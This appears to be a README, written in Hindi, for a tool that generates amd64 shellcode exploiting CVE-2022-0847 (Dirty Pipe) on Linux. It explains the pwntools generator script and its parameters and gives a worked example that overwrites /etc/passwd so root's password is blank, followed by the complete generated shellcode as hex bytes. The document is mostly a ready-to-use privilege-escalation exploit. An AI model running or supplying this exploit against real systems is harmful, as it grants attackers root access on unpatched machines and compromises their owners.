
CVE-2022-0847 का एक शेलकोड के रूप में कार्यान्वयन
इस रिपॉजिटरी में एक Python स्क्रिप्ट (gen_shellcode.py) है, जो pwntools पर आधारित है, और CVE-2022-0847 को लागू करने वाला शेलकोड उत्पन्न करती है।
शेलकोड इस Poc पर आधारित है: antx।
मैंने PoC के कोड और strace के साथ इसके निष्पादन का विश्लेषण किया ताकि एक्सप्लॉइट के लिए आवश्यक सभी सिस्टम कॉल्स को पकड़ा जा सके, और पहले मैंने एक C प्रोग्राम लिखा जो syscall.h का उपयोग करता है; यह अभी भी एक शेलकोड के लिए उपयुक्त नहीं था, लेकिन यह संदर्भ के लिए अच्छा है, इसलिए मैंने इसे यहाँ शामिल किया (tiny_cve-2022-0847.c)।
शेलकोड उत्पन्न करने वाला फंक्शन 3 पैरामीटर लेता है: जिस फाइल में लिखना है उसका पथ, लिखने का डेटा और वह ऑफसेट जिस पर डेटा लिखा जाना चाहिए।
उत्पन्न शेलकोड का एक उदाहरण, objdump से डिसअसेंबल फॉर्मेट में, shellcode.asm में पाया जा सकता है; यह निम्नलिखित पैरामीटर्स के साथ उत्पन्न किया गया था:
/etc/passwd:$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n4यह रूट को खाली पासवर्ड के साथ छोड़ता है।
$ python gen_shellcode.py
Usage: gen_shellcode.py filename data offset [verbose (any value here sets verbose to True)]
आप फंक्शन cve_2022_0847 को इम्पोर्ट कर सकते हैं, जो शेलकोड उत्पन्न करता है, इसे अन्य स्क्रिप्ट्स में कॉल करने के लिए, या सीधे इस स्क्रिप्ट का उपयोग कर सकते हैं; एक example_usage फंक्शन है जो cve_2022_0847 को कॉल करता है और शेलकोड के साथ एक ELF बनाता है।
cve_2022_0847 कुछ बुनियादी सैनिटी जाँच भी करता है, और यदि verbose पैरामीटर सेट है तो एक्सप्लॉइट के साथ क्या गलत हो सकता है और डिसअसेंबल किए गए शेलकोड को प्रिंट करता है।
यह असेंबल किया गया शेलकोड लौटाता है। main फंक्शन कमांड लाइन पैरामीटर्स के साथ cve_2022_0847 को कॉल करता है और परिणामी शेलकोड को C-शैली हेक्स में प्रिंट करता है, अर्थात प्रिंट करने योग्य बाइट्स को डिकोड किए बिना। उदाहरण के लिए:
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Resulting shellcode:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05
समर्थित आर्किटेक्चर केवल amd64 है।